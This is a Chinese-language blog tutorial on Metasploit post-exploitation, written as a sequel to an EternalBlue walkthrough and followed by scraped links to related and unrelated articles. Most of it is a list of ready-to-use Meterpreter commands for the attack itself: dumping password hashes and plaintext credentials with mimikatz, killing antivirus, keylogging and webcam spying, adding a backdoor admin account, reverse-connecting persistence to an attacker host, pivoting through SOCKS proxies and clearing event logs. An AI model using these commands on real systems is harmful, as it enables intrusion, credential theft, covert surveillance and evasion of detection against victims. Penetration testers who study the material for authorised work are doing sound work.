Metasploit简单使用——后渗透阶段
在上文中我们复现了永恒之蓝漏洞,这里我们学习一下利用msf简单的后渗透阶段的知识/
一、meterperter常用命令
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav/run post/windows/manage/killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库 run persistence -X -i 5 -p 8888 -r 192.168.1.114 #反弹时间间隔是5s 会自动连接192.168.1.114的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
二、Post 后渗透模块
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
三、常用的命令
访问文件系统
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:
cd:切换目标目录; cat:读取文件内容; rm:删除文件; edit:使用vim编辑文件 ls:获取当前目录下的文件; mkdir:新建目录; rmdir:删除目录;
上传/下载文件
download file 命令可以帮助我们从目标系统中下载文件 upload file 命令则能够向目标系统上传文件。
权限提升
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权:
getuid 命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。
注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
获取密码(管理员权限)
1. run hashdump
2. run windows/gather/smart_hashdump
3. 自己上传mimikatz
4. load kiwi——creds all
5. load mimikatz:①32位系统直接加载模块 mimikatz_command -f sekurlsa::searchPasswords
②64位系统先迁移meterpreter到64位的进程中,再加载模块
1、很多用户习惯将计算机设置自动登录,可以使用 run windows/gather/credentials/windows_autologin
抓取自动登录的用户名和密码
2、hashdump 模块可以从SAM数据库中导出本地用户账号,执行:run hashdump ,该命令的使用需要系统权限
还可以使用命令:run windows/gather/smart_hashdump ,,该命令的使用需要系统权限,该功能更强大,可以导出域内所有用户的hash
3、我们还可以通过上传mimikatz程序,然后执行mimikatz程序来获取明文密码。
执行mimikatz必须System权限。
我们先getsystem提权至系统权限,然后执行 execute -i -f mimikatz.exe ,进入mimikatz的交互界面。然后执行:
privilege::debug sekurlsa::logonpasswords
4、加载kiwi模块,该模块的使用需要System权限,load kiwi 查看该kiwi模块的用法:help kiwi
5、或者运行MSF里面自带的 mimikatz 模块 ,该模块的使用需要System权限。传送门:MSF中mimikatz模块的使用
运行程序
使用 execute 命令在目标系统中执行应用程序。这个命令的使用方法如下:
execute 参数 -f 可执行文件
运行后它将执行所指定的命令。可选参数如下:
-f:指定可执行文件 -H:创建一个隐藏进程 -a:传递给命令的参数 -i: 跟进程进行交互 -m:从内存中执行 -t: 使用当前伪造的线程令牌运行进程 -s: 在给定会话中执行进程
创建一个新账号
先查看目标主机有哪些用户:run post/windows/gather/enum_logged_on_users
接下来,我们可以在目标系统中创建一个新的用户账号:run getgui -u hack -p 123,这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。
我们可以看到,这里成功创建了用户,但是添加到Administrators组中失败了 。我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。
启用远程桌面
当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的 getgui 脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启),我们输入: run getgui -e 或者 run post/windows/manage/enable_rdp
在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: idletime
进程迁移
Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。
首先,我们需要使用: ps 命令查看目标设备中运行的进程:
使用:migrate 目标进程ID 命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可使用 kill pid 命令关闭进程。或者使用自动迁移进程(run post/windows/manage/migrate
)命令,系统会自动寻找合适的进程然后迁移。
绑定完成之后,我们就可以开始捕获键盘数据了。
生成持续性后门
因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过启动项启动(persistence) ,一种是通过 服务启动(metsvc)
启动项启动
启动项启动的话,我们先生成一个后门工具,传送门——> 用MSF生成一个后门木马
然后放到windows的启动目录中:
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
服务启动
通过服务启动,我们可以运行命令
run persistence -X -i 5 -p 8888 -r 192.168.1.114 #反弹时间间隔是5s 会自动连接192.168.1.114的4444端口,缺点是容易被杀毒软件查杀 #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启
设置Socks代理
这里socks模块只是将代理设置为本地的1080端口,即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口。所以我们需要添加一个路由,这样MSF监听的1080端口就可以到达内网了。
MSF中有三个代理模块,分别是socks4a、socks5、socks_unc。我们一般用 socks4a和socks5进行代理。socks5可以设置用户名和密码。这里运行代理后,有时候MSF不会监听端口(有可能是个bug,试了好多次都有这种情况),所以也就导致代理失败。
#使用socks4a代理
use auxiliary/server/socks5
run #使用socks5代理
use auxiliary/server/socks5
set USERNAME root
set PASSWORD Password@
run #然后打开/etc/proxychains.conf,加入下面一行
socks5 0.0.0.0 1080 root Password@ #然后添加路由
route add 0.0.0.0 0.0.0.0 1 #然后就可以使用curl了
proxychains nmap -p 21 -Pn -sT x.x.x.x #在打开其他程序前加上proxychains
portfwd端口转发
portfwd add -l 3389 -r 192.168.1.114 -p 3389 #将192.168.1.114的3389端口转发到本地的3389端口上,这里的192.168.1.114是获取权限的主机的ip地址
portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听。
然后我们只要访问本地的3389端口就可以连接到目标主机的3389端口了
rdesktop 127.0.0.1:3389
清除事件日志
完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令 clearev 命令来清除事件日志:
导入并执行PowerShell脚本
load powershell #加载powershell功能
powershell_import /root/PowerView.ps1 #导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块
powershell_execute Invoke-UserHunter #该功能模块用于定位域管理员登录的主机
powershell_execute Get-NetForest #该模块用于定位域信息
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户.
Metasploit简单使用——后渗透阶段的更多相关文章
- 渗透攻防工具篇-后渗透阶段的Meterpreter
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit ...
- Meterpreter后渗透阶段之远程桌面开启
实验目的 学习利用Meterpreter后渗透阶段模块来开启靶机远程桌面 实验原理 利用Meterpreter生成木马,利用木马控制靶机进行远程桌面的攻击 实验内容 利用Meterpreter后渗透阶 ...
- kali linux之msf后渗透阶段
已经获得目标操作系统控制权后扩大战果 提权 信息收集 渗透内网 永久后门 基于已有session扩大战果 绕过UAC限制 use exploit/windows/local/ask set sessi ...
- 后渗透阶段之基于MSF的路由转发
目录 反弹MSF类型的Shell 添加内网路由 MSF的跳板功能是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往“内网” ...
- 后渗透阶段之基于MSF的内网主机探测
当我们通过代理可以进入某内网,需要对内网主机的服务进行探测.我们就可以使用MSF里面的内网主机探测模块了. 在这之前,先修改 /etc/proxychains.conf ,加入我们的代理. 然后 pr ...
- Meterpreter后渗透阶段关闭防火墙与杀毒软件
- web安全后渗透--XSS平台搭建及使用
xss平台搭建 1.申请一个云主机来进行建站:149.28.xx.xx 2.安装lnmp: wget http://soft.vpser.net/lnmp/lnmp1.5.tar.gz -cO ln ...
- 后渗透之meterpreter使用攻略
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令.脚本及使用方式.包含信息收集.提权.注册表操作.令牌操纵.哈希利用.后门 ...
- Enumy:一款功能强大的Linux后渗透提权枚举工具
Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...
随机推荐
- HDU—2021-发工资咯(水题,有点贪心的思想)
作为杭电的老师,最盼望的日子就是每月的8号了,因为这一天是发工资的日子,养家糊口就靠它了,呵呵 但是对于学校财务处的工作人员来说,这一天则是很忙碌的一天,财务处的小胡老师最近就在考虑一个问题:如果每 ...
- C:将算术表达式的符号和数分开
程序: #include <stdio.h> #include <string.h> static int pos=; static char* line; void test ...
- 【Java/DateTime】用当前日期时间与确定日期时间比较,大于则执行某动作
代码: package logbackCfg; import java.text.ParseException; import java.text.SimpleDateFormat; import j ...
- 转载 深入理解Nginx及使用Nginx实现负载均衡
转载:https://developer.51cto.com/art/202001/609322.htm 正向代理是代理客户端,也就是客户端能真正接触到的,比如访问外网时需要使用VPN软件,在这个软件 ...
- VMware虚拟中输入ifconfig提示not found解决办法
1. 查看虚拟机是否没有IP地址:命令行中输入ip addr,如图红框所示,若无是需要设置. 2. 进入sbin目录确认ifconfig是否安装:可以通过命令[ls | grep 'if']来看 3. ...
- Python算法题:有100只大、中、小骆驼,100框土豆,一只大骆驼可以背3框,中骆驼可以背俩框,小骆驼两只背一筐,问大中小各有多少只骆驼?
1 for x in range(0,100): 2 for y in range(0,100): 3 for z in range(0, 100): 4 if x*3+y*2+0.5*z == 10 ...
- Java面试炼金系列 (1) | 关于String类的常见面试题剖析
Java面试炼金系列 (1) | 关于String类的常见面试题剖析 文章以及源代码已被收录到:https://github.com/mio4/Java-Gold 0x0 基础知识 1. '==' 运 ...
- 11.redis cluster的hash slot算法和一致性 hash 算法、普通hash算法的介绍
分布式寻址算法 hash 算法(大量缓存重建) 一致性 hash 算法(自动缓存迁移)+ 虚拟节点(自动负载均衡) redis cluster 的 hash slot 算法 一.hash 算法 来了一 ...
- Face The Right Way(POJ 3276)
原题如下: Face The Right Way Time Limit: 2000MS Memory Limit: 65536K Total Submissions: 6708 Accepte ...
- junit源码之Runner
Runner 定义了执行用例的执行器方法. public abstract class Runner implements Describable { /* 获取描述 */ public abstra ...